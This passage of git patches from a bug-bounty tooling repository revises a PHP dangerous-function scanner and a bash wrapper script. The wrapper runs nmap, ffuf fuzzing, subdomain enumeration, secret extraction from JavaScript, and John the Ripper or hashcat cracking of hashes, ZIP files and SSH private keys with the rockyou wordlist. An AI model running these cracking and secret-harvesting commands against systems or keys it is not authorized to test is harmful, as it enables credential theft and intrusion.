".format( - port.decode("utf-8")) + "

{}

".format( + port.decode("utf-8")) nmap_html = nmap_html + "" # HTTP response headers @@ -331,13 +331,13 @@ def append_to_output(html_output, url, http_status_code, response_headers, nmap_ """.format( - (http_status_code//100), + (http_status_code // 100), http_status_code_color, element_class_name, http_status_code, url, url, - (http_status_code//100), + (http_status_code // 100), element_class_name, screenshot_name, screenshot_name, @@ -392,7 +392,8 @@ def send_request(proto, domain, output_file, html_output, allowed_http_responses return resp.status_code -def enumerate_domains(domains, output_file, html_output, allowed_http_responses, nmap_top_ports, output_directory, show=False): +def enumerate_domains(domains, output_file, html_output, allowed_http_responses, nmap_top_ports, output_directory, + show=False): """ enumerates domain from domains """ @@ -414,7 +415,8 @@ def enumerate_domains(domains, output_file, html_output, allowed_http_responses, nmap_output = subprocess.run( ["nmap", "--top-ports", str(nmap_top_ports), "-n", d], capture_output=True) print('{} nmap: '.format(colors['grey']), [port.decode("utf-8") - for port in nmap_output.stdout.split(b"\n") if port.find(b"open") > 0], '{}'.format(colors['white'])) + for port in nmap_output.stdout.split(b"\n") if + port.find(b"open") > 0], '{}'.format(colors['white'])) send_request('http', d, output_file, html_output, allowed_http_responses, nmap_output, ip, output_directory) @@ -473,14 +475,14 @@ def enumerate_from_crt_sh(domain): def main(): - parser = argparse.ArgumentParser() allowed_http_responses = [] parser.add_argument( "-f", "--file", help="File with list of hostnames to check (-t/--target will be ignored)") parser.add_argument( - "-t", "--target", help="Target domain - will use crt.sh to perform subdomain enumeration (-f/--file will be ignored)") + "-t", "--target", + help="Target domain - will use crt.sh to perform subdomain enumeration (-f/--file will be ignored)") parser.add_argument( "-s", "--success", help="Show all responses, including exceptions", action='store_true') parser.add_argument( @@ -488,10 +490,12 @@ def main(): parser.add_argument( "-d", "--dir", help="Output directory name (default: report/)") parser.add_argument( - "-c", "--code", help="Show only selected HTTP response status codes, comma separated", default='200,206,301,302,403,422,500' + "-c", "--code", help="Show only selected HTTP response status codes, comma separated", + default='200,206,301,302,403,422,500' ) parser.add_argument( - "-n", "--nmap", help="use nmap for port scanning (slows down the whole enumeration A LOT, so be warned!)", action='store_true' + "-n", "--nmap", help="use nmap for port scanning (slows down the whole enumeration A LOT, so be warned!)", + action='store_true' ) parser.add_argument( "-p", "--ports", help="--top-ports option for nmap (default = 100)", default=100 From a73834660df5f7131b56f2c303c2a3a3079eefef Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 24 Jul 2024 02:22:02 +0100 Subject: [PATCH 414/460] [pef] bugfixes --- pef/pef.py | 34 +++++++++++++++++++--------------- 1 file changed, 19 insertions(+), 15 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 6c8180d..ae0d5b2 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -32,10 +32,10 @@ # - repeat until the source # -import sys +import argparse import os import re -import argparse +import sys from imports import pefdocs from imports.beautyConsole import beautyConsole @@ -200,6 +200,7 @@ def analyse_line(self, l, i, fn, f, line): if occurence found, output is printed """ res = None + number_of_isses = 0 # there has to be space before function call; prevents from false-positives strings contains PHP function names atfn = f"@{fn}" fn = f"{fn}" @@ -211,8 +212,10 @@ def analyse_line(self, l, i, fn, f, line): f.name, l, i, fn, self.severity, self.level, self.source_or_sink) else: res = self.print_code_line( - f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, self.level, self.source_or_sink) - return res + f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, self.level, + self.source_or_sink) + number_of_isses = number_of_isses + 1 if res is not None else number_of_isses + return number_of_isses def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', source_or_sink='ALL', verbose=False): """ @@ -251,7 +254,7 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', sou severity[impact] = 1 else: severity[impact] = severity[impact] + 1 - return found > 0 + return found def main(self, src): """ @@ -268,9 +271,10 @@ def main(self, src): if self.level: if not self.is_comment(line): for fn in exploitableFunctions: - if self.analyse_line(l, i, fn, f, line) == True: + number_of_issues = self.analyse_line(l, i, fn, f, line) + if number_of_issues > 0: res = True - file_found += 1 + file_found += number_of_issues return (res, file_found) # return how many findings in current file def run(self): @@ -299,7 +303,7 @@ def run(self): total_found += file_found else: self.scanned_files = self.scanned_files + 1 - (res, self.found_entries) = self.main(self.filename) + (res, total_found) = self.main(self.filename) # print summary self.print_summary(total_found) @@ -315,8 +319,8 @@ def print_summary(self, total_found: int) -> None: prints summary at the bottom of search results """ print(f"{beautyConsole.getColor('white')}Total issues found: {total_found}") - print( - f"\n{beautyConsole.getColor('grey')}Cmd arguments: {' '.join(sys.argv[1:])}\n") + print(f"\n{beautyConsole.getColor('grey')}Cmd arguments: {' '.join(sys.argv[1:])}") + print(f"{beautyConsole.getColor('grey')}Level: {self.level}\n") # main program @@ -336,9 +340,9 @@ def print_summary(self, total_found: int) -> None: parser.add_argument( "-l", "--level", help="severity level: ALL, LOW, MEDIUM, HIGH or CRITICAL; default: ALL") parser.add_argument( - "-S", "--source", help="show only sources", action="store_true") + "-S", "--sources", help="show only sources", action="store_true") parser.add_argument( - "-K", "--sink", help="show only sinks", action="store_true") + "-K", "--sinks", help="show only sinks", action="store_true") parser.add_argument( "-f", "--function", @@ -352,12 +356,12 @@ def print_summary(self, total_found: int) -> None: args = parser.parse_args() - level = args.level.upper() if args.level else 'ALL' + level = args.level.upper() if args.level else 'MEDIUM,HIGH,CRITICAL' source_or_sink = 'ALL' - if args.source: + if args.sources: source_or_sink = 'source' - if args.sink: + if args.sinks: source_or_sink = 'sink' filename = args.dir From 69337abd0b351eaed21a64ab671456a8d840dfd4 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 24 Jul 2024 07:41:47 +0100 Subject: [PATCH 415/460] [pef] bugfixes --- pef/pef.py | 39 +++++++++++++++++++++------------------ 1 file changed, 21 insertions(+), 18 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index ae0d5b2..94c0c43 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -199,8 +199,8 @@ def analyse_line(self, l, i, fn, f, line): if occurence found, output is printed """ - res = None - number_of_isses = 0 + total_number_of_isses = None + meets_criteria = 0 # there has to be space before function call; prevents from false-positives strings contains PHP function names atfn = f"@{fn}" fn = f"{fn}" @@ -208,16 +208,16 @@ def analyse_line(self, l, i, fn, f, line): # @ prevents from output being echoed if fn in line or atfn in line: if fn == "`": - res = self.print_code_line( + total_number_of_isses = self.print_code_line( f.name, l, i, fn, self.severity, self.level, self.source_or_sink) else: - res = self.print_code_line( + total_number_of_isses = self.print_code_line( f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, self.level, self.source_or_sink) - number_of_isses = number_of_isses + 1 if res is not None else number_of_isses - return number_of_isses + meets_criteria = meets_criteria + 1 if total_number_of_isses is not None else meets_criteria + return (meets_criteria, total_number_of_isses) - def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', source_or_sink='ALL', verbose=False): + def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', source_or_sink='ALL'): """ prints formatted code line """ @@ -228,7 +228,7 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', sou "critical": "red" } - found = 0 + meets_criteria = 0 # print legend only if there i sentry in pefdocs.py if fn and fn.strip() in pefdocs.exploitableFunctionsDesc.keys(): @@ -249,12 +249,12 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', sou beautyConsole.getColor("grey"))) if self.verbose: print(f"\t{doc[1]}\n\t{doc[0]}\n") - found += 1 + meets_criteria += 1 if impact not in severity.keys(): severity[impact] = 1 else: severity[impact] = severity[impact] + 1 - return found + return meets_criteria def main(self, src): """ @@ -271,8 +271,8 @@ def main(self, src): if self.level: if not self.is_comment(line): for fn in exploitableFunctions: - number_of_issues = self.analyse_line(l, i, fn, f, line) - if number_of_issues > 0: + (meets_criteria, number_of_issues) = self.analyse_line(l, i, fn, f, line) + if number_of_issues is not None: res = True file_found += number_of_issues return (res, file_found) # return how many findings in current file @@ -291,16 +291,14 @@ def run(self): for root, _, files in os.walk(self.filename): if self.skip_vendor is True and "vendor" in root: continue - prev_filename = "" for f in files: extension = f.split('.')[-1:][0] if extension in ['php', 'inc', 'php3', 'php4', 'php5', 'phtml']: self.scanned_files = self.scanned_files + 1 (res, file_found) = self.main(os.path.join(root, f)) - if self.phpfunction == '' and res is not None and f != prev_filename: + if file_found > 0: print(f">>> {f} <<<\t{'-' * (115 - len(f))}\n\n") - prev_filename = f - total_found += file_found + total_found += file_found else: self.scanned_files = self.scanned_files + 1 (res, total_found) = self.main(self.filename) @@ -318,7 +316,7 @@ def print_summary(self, total_found: int) -> None: """ prints summary at the bottom of search results """ - print(f"{beautyConsole.getColor('white')}Total issues found: {total_found}") + print(f"{beautyConsole.getColor('white')}Issues found: {total_found}") print(f"\n{beautyConsole.getColor('grey')}Cmd arguments: {' '.join(sys.argv[1:])}") print(f"{beautyConsole.getColor('grey')}Level: {self.level}\n") @@ -338,7 +336,8 @@ def print_summary(self, total_found: int) -> None: parser.add_argument( "-v", "--verbose", help="show documentation", action="store_true") parser.add_argument( - "-l", "--level", help="severity level: ALL, LOW, MEDIUM, HIGH or CRITICAL; default: ALL") + "-l", "--level", + help="severity: ALL, LOW, MEDIUM, HIGH or CRITICAL; default: ALL\nif -f is set, this setting is ignored") parser.add_argument( "-S", "--sources", help="show only sources", action="store_true") parser.add_argument( @@ -357,6 +356,10 @@ def print_summary(self, total_found: int) -> None: args = parser.parse_args() level = args.level.upper() if args.level else 'MEDIUM,HIGH,CRITICAL' + + # if we are looking for a specific function, level is not taken into account + if args.function is not None: + level = 'ALL' source_or_sink = 'ALL' if args.sources: From 7732955239e7103a803011a90c60046e2673a8c9 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 24 Jul 2024 11:51:07 +0100 Subject: [PATCH 416/460] [s0mbra] LinkFinder by Gerben_Javado added --- s0mbra.sh | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 924c6e3..a1acd0a 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -746,6 +746,13 @@ hshr() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# extract links and API endpoints from JavaScript file +links() { + echo -e "$BLUE[s0mbra] Extracting links and API endpoints from $1...$CLR" + python /Users/bl4de/hacking/tools/LinkFinder/linkfinder.py -i $1 -o cli + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + ### menu cmd=$1 @@ -876,6 +883,9 @@ case "$cmd" in rubysast) ruby_sast "$2" ;; + links) + links "$2" + ;; *) clear echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" @@ -905,7 +915,7 @@ case "$cmd" in echo -e "$CYAN unmin $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR" echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t$CYAN phpsast $GRAY[DIR]\t\t\t$YELLOW(PHP)$CLR" echo -e "$CYAN rubysast $GRAY[DIR]\t\t\t$YELLOW(Ruby)$CLR\t\t$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR" - echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR" + echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN links $GRAY[FILE|DIR|URL]\t\t$YELLOW(JavaScript)$CLR" echo -e "$BLUE_BG:: ANDROID ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR" echo -e "$CYAN apk $GRAY[.apk FILE]$CLR\t\t$YELLOW(Java)$CLR\t\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR" From eb80f832f21ed709a842298c2a4c9e2a1f083306 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 24 Jul 2024 12:12:44 +0100 Subject: [PATCH 417/460] [s0mbra] added SecretFinder --- s0mbra.sh | 34 +++++++++++++++++++++++++++------- 1 file changed, 27 insertions(+), 7 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index a1acd0a..bf38b10 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -742,14 +742,27 @@ b64() { # hash/encode string hshr() { echo -e "$BLUE[s0mbra] Hash/encoode $1...$CLR" - hasher $1 + hasher "$1" echo -e "$BLUE\n[s0mbra] Done! $CLR" } # extract links and API endpoints from JavaScript file -links() { - echo -e "$BLUE[s0mbra] Extracting links and API endpoints from $1...$CLR" - python /Users/bl4de/hacking/tools/LinkFinder/linkfinder.py -i $1 -o cli +urls() { + echo -e "$BLUE[s0mbra] Extracting URLs from $1...$CLR" + python /Users/bl4de/hacking/tools/LinkFinder/linkfinder.py -i "$1" -o cli | rg http | sort -u + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + +endpoints() { + echo -e "$BLUE[s0mbra] Extracting URLs from $1...$CLR" + python /Users/bl4de/hacking/tools/LinkFinder/linkfinder.py -i "$1" -o cli | rg -v http | sort -u + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + +# extract secrets from JavaScript file +secrets() { + echo -e "$BLUE[s0mbra] Extracting secrets from $1...$CLR" + python /Users/bl4de/hacking/tools/SecretFinder/SecretFinder.py -i "$1" -o cli | sort -u echo -e "$BLUE\n[s0mbra] Done! $CLR" } @@ -883,8 +896,14 @@ case "$cmd" in rubysast) ruby_sast "$2" ;; - links) - links "$2" + urls) + urls "$2" + ;; + endpoints) + endpoints "$2" + ;; + secrets) + secrets "$2" ;; *) clear @@ -915,7 +934,8 @@ case "$cmd" in echo -e "$CYAN unmin $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR" echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t$CYAN phpsast $GRAY[DIR]\t\t\t$YELLOW(PHP)$CLR" echo -e "$CYAN rubysast $GRAY[DIR]\t\t\t$YELLOW(Ruby)$CLR\t\t$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR" - echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN links $GRAY[FILE|DIR|URL]\t\t$YELLOW(JavaScript)$CLR" + echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN urls $GRAY[FILE|DIR|URL]\t\t$YELLOW(JavaScript)$CLR" + echo -e "$CYAN secrets $GRAY[FILE|DIR|URL]\t\t$YELLOW(JavaScript)$CLR\t$CYAN endpoints $GRAY[FILE|DIR|URL]\t$YELLOW(JavaScript)$CLR" echo -e "$BLUE_BG:: ANDROID ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR" echo -e "$CYAN apk $GRAY[.apk FILE]$CLR\t\t$YELLOW(Java)$CLR\t\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR" From f48eb0ca891290398f73d4ef266f83d15c431574 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 24 Jul 2024 12:38:33 +0100 Subject: [PATCH 418/460] [s0mbra] cleanup; remove broken tools; update menu; --- s0mbra.sh | 69 +++++++++++++++---------------------------------------- 1 file changed, 18 insertions(+), 51 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index bf38b10..fc39a73 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -50,7 +50,7 @@ quick_nmap_scan() { } # runs Python 3 built-in HTTP server on [PORT] -http() { +http_server() { STACK=$2 echo -e "$BLUE[s0mbra] Running $STACK HTTP Server in current directory on port $1$CLR" echo -e "$GRAY\navailable network interfaces:$YELLOW" @@ -78,37 +78,37 @@ http() { # runs john with rockyou.txt against hash type [FORMAT] and file [HASHES] rockyou_john() { echo -e "$BLUE[s0mbra] Running john with rockyou dictionary against $1 of type $2$CLR" - echo > "$HACKING_HOME"/tools/jtr/run/john.pot + echo > "$HACKING_HOME"/tools/JohnTheRipper/run/john.pot if [[ -n $2 ]]; then - "$HACKING_HOME"/tools/jtr/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt --format="$2" "$1" + "$HACKING_HOME"/tools/JohnTheRipper/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt --format="$2" "$1" elif [[ -z $2 ]]; then - "$HACKING_HOME"/tools/jtr/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt "$1" + "$HACKING_HOME"/tools/JohnTheRipper/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt "$1" fi - cat "$HACKING_HOME"/tools/jtr/run/john.pot + cat "$HACKING_HOME"/tools/JohnTheRipper/run/john.pot echo -e "\n$BLUE[s0mbra] Done." osascript -e 'display notification "our choom John has left the house..." with title "s0mbra says:"' } -# show JTR's pot file +# show JohnTheRipper's pot file john_pot() { echo -e "$BLUE[s0mbra] Joghn The Ripper pot file:$GRAY" - cat "$HACKING_HOME"/tools/jtr/run/john.pot + cat "$HACKING_HOME"/tools/JohnTheRipper/run/john.pot echo -e "\n$BLUE[s0mbra] Done." } # ZIP password cracking with rockyou.txt rockyou_zip() { echo -e "$BLUE[s0mbra] Running $MAGENTA zip2john $BLUE and prepare hash for hashcat..." - "$HACKING_HOME"/tools/jtr/run/zip2john "$1" | cut -d ':' -f 2 > ./hashes.txt + "$HACKING_HOME"/tools/JohnTheRipper/run/zip2john "$1" | cut -d ':' -f 2 > ./hashes.txt echo -e "$BLUE[s0mbra] Starting $MAGENTA hashcat $BLUE (using $YELLOW rockyou.txt $BLUE dictionary against $YELLOW hashes.txt $BLUE file)...$CLR" hashcat -m 13600 ./hashes.txt ~/hacking/dictionaries/rockyou.txt echo -e "\n$BLUE[s0mbra] Done." } -# converts id_rsa to JTR format for cracking SSH key +# converts id_rsa to JohnTheRipper format for cracking SSH key ssh_to_john() { - echo -e "$BLUE[s0mbra] Converting SSH id_rsa key to JTR format to crack it$CLR" - python "$HACKING_HOME"/tools/jtr/run/sshng2john.py "$1" > "$1".hash + echo -e "$BLUE[s0mbra] Converting SSH id_rsa key to JohnTheRipper format to crack it$CLR" + python "$HACKING_HOME"/tools/JohnTheRipper/run/sshng2john.py "$1" > "$1".hash echo -e "$BLUE[s0mbra] We have a hash.\n" echo -e "$BLUE[s0mbra] Let's now crack it!" rockyou_john "$1".hash @@ -245,20 +245,6 @@ scope() { echo -e "\n$BLUE[s0mbra] Done.$CLR" } -# OSINT -photon() { - URL=$1 - OUTPUT_DIR=$2 - TMPDIR=$(pwd)/photon/$OUTPUT_DIR - if [[ ! -d $TMPDIR ]]; then - mkdir -p $TMPDIR - fi - echo -e "$BLUE[s0mbra] Let's do some OSINT stuff around $URL...$CLR\n" - /usr/local/homebrew/bin/python3 /Users/bl4de/hacking/tools/Photon/photon.py -u "$URL" -l 5 -t 10 -o "$TMPDIR" - ls -lRA "$TMPDIR" - echo -e "\n$BLUE[s0mbra] Done.$CLR" -} - # quick scope, but for single domain - no need to create scope file peek() { TMPDIR=$(pwd)/$1 @@ -381,19 +367,6 @@ recon() { echo -e "\n$BLUE[s0mbra] Done.$CLR" } -# runs GET parameter(s) discovery -_arjun() { - clear - if [[ -z $2 ]]; then - SELECTED_DICT=/Users/bl4de/hacking/dictionaries/urlparams_medium.txt - else - SELECTED_DICT="$2" - fi - echo -e "$BLUE[s0mbra] Trying to discover GET params on $1 using $SELECTED_DICT...$GRAY" - arjun -u "$1" -w $SELECTED_DICT - echo -e "$BLUE\n[s0mbra] Done! $CLR" -} - fu() { # use starter.txt as default dictionary if [[ -z $2 ]]; then @@ -779,12 +752,6 @@ case "$cmd" in peek) peek "$2" ;; - photon) - photon "$2" "$3" - ;; - arjun) - _arjun "$2" "$3" - ;; recon) recon "$2" "$3" "$4" ;; @@ -800,8 +767,8 @@ case "$cmd" in quick_nmap_scan) quick_nmap_scan "$2" "$3" ;; - http) - http "$2" "$3" + http_server) + http_server "$2" "$3" ;; rockyou_john) rockyou_john "$2" "$3" @@ -909,26 +876,26 @@ case "$cmd" in clear echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN scope $GRAY[SCOPE_FILE]$CLR\t\t\t\t$CYAN recon $GRAY[HOST] [OPTIONS:nmap,nikto,vhosts,ffuf,subdomanizer] [PROTO http/https]$CLR" - echo -e "$CYAN peek $GRAY[DOMAIN]$CLR\t\t\t\t\t$CYAN photon $GRAY[HOST] [OUTPUT_DIR]$CLR" + echo -e "$CYAN peek $GRAY[DOMAIN]$CLR" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT,/ or -] [HTTP RESP.]$CLR\t$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR" echo -e "$CYAN graphw00f $GRAY[HOST]$CLR\t\t$YELLOW(GraphQl)$CLR\t$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR" - echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(REST)$CRL\t\t$CYAN arjun $GRAY[HOST] [DICT]$CLR" + echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(REST)$CRL" echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN discloS3 $GRAY[URL]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t$CYAN s3 $GRAY[BUCKET]$CLR\t\t\t$YELLOW(AWS)$CLR" echo -e "$CYAN s3get $GRAY[BUCKET] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t$CYAN s3ls $GRAY[BUCKET] [folder]$CLR\t\t$YELLOW(AWS)$CLR" echo -e "$BLUE_BG:: PENTEST TOOLS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]\t$LIGHTGREEN(nmap)$CLR\t\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]\t$LIGHTGREEN(nmap)$CLR" - echo -e "$CYAN http $GRAY[PORT] [STACK]$CLR\t\t\t\t$CYAN shells $GRAY[IP] [PORT] $CLR" + echo -e "$CYAN http_server $GRAY[PORT] [STACK]$CLR\t\t\t$CYAN shells $GRAY[IP] [PORT] $CLR" echo -e "$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR" echo -e "$CYAN smb_get_file $GRAY[IP] [PATH] [user] [*password] $CLR\t$CYAN smb_mount $GRAY[IP] [SHARE] [USER]$CLR" echo -e "$CYAN smb_umount $CLR" echo -e "$BLUE_BG:: PASSWORDS CRACKIN' ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN rockyou_john $GRAY[HASHES] [FORMAT]$CLR\t\t\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR" - echo -e "$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t$CYAN john_pot$CLR" + echo -e "$CYAN rockyou_john $GRAY[HASHES] [FORMAT]\t$LIGHTGREEN(JohnTheRipper)$CLR\t$CYAN ssh_to_john $GRAY[ID_RSA]\t\t$LIGHTGREEN(JohnTheRipper)$CLR" + echo -e "$CYAN rockyou_zip $GRAY[ZIP file]\t\t$LIGHTGREEN(JohnTheRipper)$CLR\t$CYAN john_pot\t\t\t$LIGHTGREEN(JohnTheRipper)$CLR" echo -e "$BLUE_BG:: STATIC CODE ANALYSIS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN unmin $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR" From 6f2bd813c03a9b6050de6abecdc3231bb70b855f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 25 Jul 2024 01:05:24 +0100 Subject: [PATCH 419/460] [pef] Fix duplicates if function name was a part of another function name --- pef/pef.py | 26 ++++++++++++++------------ s0mbra.sh | 8 ++++---- 2 files changed, 18 insertions(+), 16 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 94c0c43..a38fcbe 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -201,20 +201,22 @@ def analyse_line(self, l, i, fn, f, line): """ total_number_of_isses = None meets_criteria = 0 - # there has to be space before function call; prevents from false-positives strings contains PHP function names + tokens = [token for token in line.split(' ') if token is not '\n'] + + # check agains @ at the beginning of the function name atfn = f"@{fn}" fn = f"{fn}" - # also, it has to checked agains @ at the beginning of the function name - # @ prevents from output being echoed - if fn in line or atfn in line: - if fn == "`": - total_number_of_isses = self.print_code_line( - f.name, l, i, fn, self.severity, self.level, self.source_or_sink) - else: - total_number_of_isses = self.print_code_line( - f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, self.level, - self.source_or_sink) - meets_criteria = meets_criteria + 1 if total_number_of_isses is not None else meets_criteria + + for token in tokens: + if token.startswith(fn) or token.startswith(atfn): + if fn == "`": + total_number_of_isses = self.print_code_line( + f.name, l, i, fn, self.severity, self.level, self.source_or_sink) + else: + total_number_of_isses = self.print_code_line( + f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, self.level, + self.source_or_sink) + meets_criteria = meets_criteria + 1 if total_number_of_isses is not None else meets_criteria return (meets_criteria, total_number_of_isses) def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', source_or_sink='ALL'): diff --git a/s0mbra.sh b/s0mbra.sh index fc39a73..11b9a8c 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -32,7 +32,7 @@ full_nmap_scan() { fi echo -e "$BLUE\n[s0mbra] Done! $CLR" - osascript -e 'display notification "nmap finished, choomba!" with title "s0mbra says:"' + osascript -e 'display notification "Full nmap finished, choom!" with title "s0mbra says:"' } # runs --top-ports $2 against IP @@ -46,7 +46,7 @@ quick_nmap_scan() { fi echo -e "$BLUE\n[s0mbra] Done! $CLR" - osascript -e 'display notification "nmap finished, choomba!" with title "s0mbra says:"' + osascript -e 'display notification "Quick nmap finished, choom!" with title "s0mbra says:"' } # runs Python 3 built-in HTTP server on [PORT] @@ -285,7 +285,7 @@ peek() { echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" echo -e "\n$BLUE[s0mbra] Done.$CLR" - osascript -e 'display notification "Hey choomba, peek finished!" with title "s0mbra says:"' + osascript -e 'display notification "Hey choom, peek finished!" with title "s0mbra says:"' } # does recon on URL: nmap, ffuf, other smaller tools, ...? @@ -402,7 +402,7 @@ fu() { ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$SELECTED_DICT.txt -u $1/FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi echo -e "$BLUE\n[s0mbra] Done! $CLR" - osascript -e 'display notification "ffuf finished, choomba!" with title "s0mbra says:"' + osascript -e 'display notification "ffuf finished, choom!" with title "s0mbra says:"' } api_fuzz() { From e60d034ea7a9c771b28de5b109a03f7c24020cf4 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 25 Jul 2024 22:16:29 +0100 Subject: [PATCH 420/460] [pef] fix condition --- pef/pef.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pef/pef.py b/pef/pef.py index a38fcbe..df18390 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -201,7 +201,7 @@ def analyse_line(self, l, i, fn, f, line): """ total_number_of_isses = None meets_criteria = 0 - tokens = [token for token in line.split(' ') if token is not '\n'] + tokens = [token for token in line.split(' ') if token != "\n"] # check agains @ at the beginning of the function name atfn = f"@{fn}" From 6d7d6fa5205981ffb340cc73d6dacf73e566f6ea Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 31 Jul 2024 08:20:32 +0100 Subject: [PATCH 421/460] [s0mbra] remove redundant scope recon --- s0mbra.sh | 43 +------------------------------------------ 1 file changed, 1 insertion(+), 42 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 11b9a8c..e4f15d2 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -208,43 +208,6 @@ nfs_enum() { echo -e "\n$BLUE[s0mbra] Done." } -# quick subdomain enum + available HTTP server(s) - to find out if a program is -# actually worth to look into :D -scope() { - TMPDIR=$(pwd) - START_TIME=$(date) - echo -e "$BLUE[s0mbra] Let's see what we've got here...$CLR\n" - - # sublister - echo -e "\n$GREEN--> sublister$CLR\n" - for domain in $(cat scope); do - sublister -v -d $domain -o "$TMPDIR/sublister_$domain.log" - done - - # subfinder - echo -e "\n$GREEN--> subfinder$CLR\n" - subfinder -nW -all -v -dL $1 -o $TMPDIR/subfinder.log - - # prepare list of uniqe 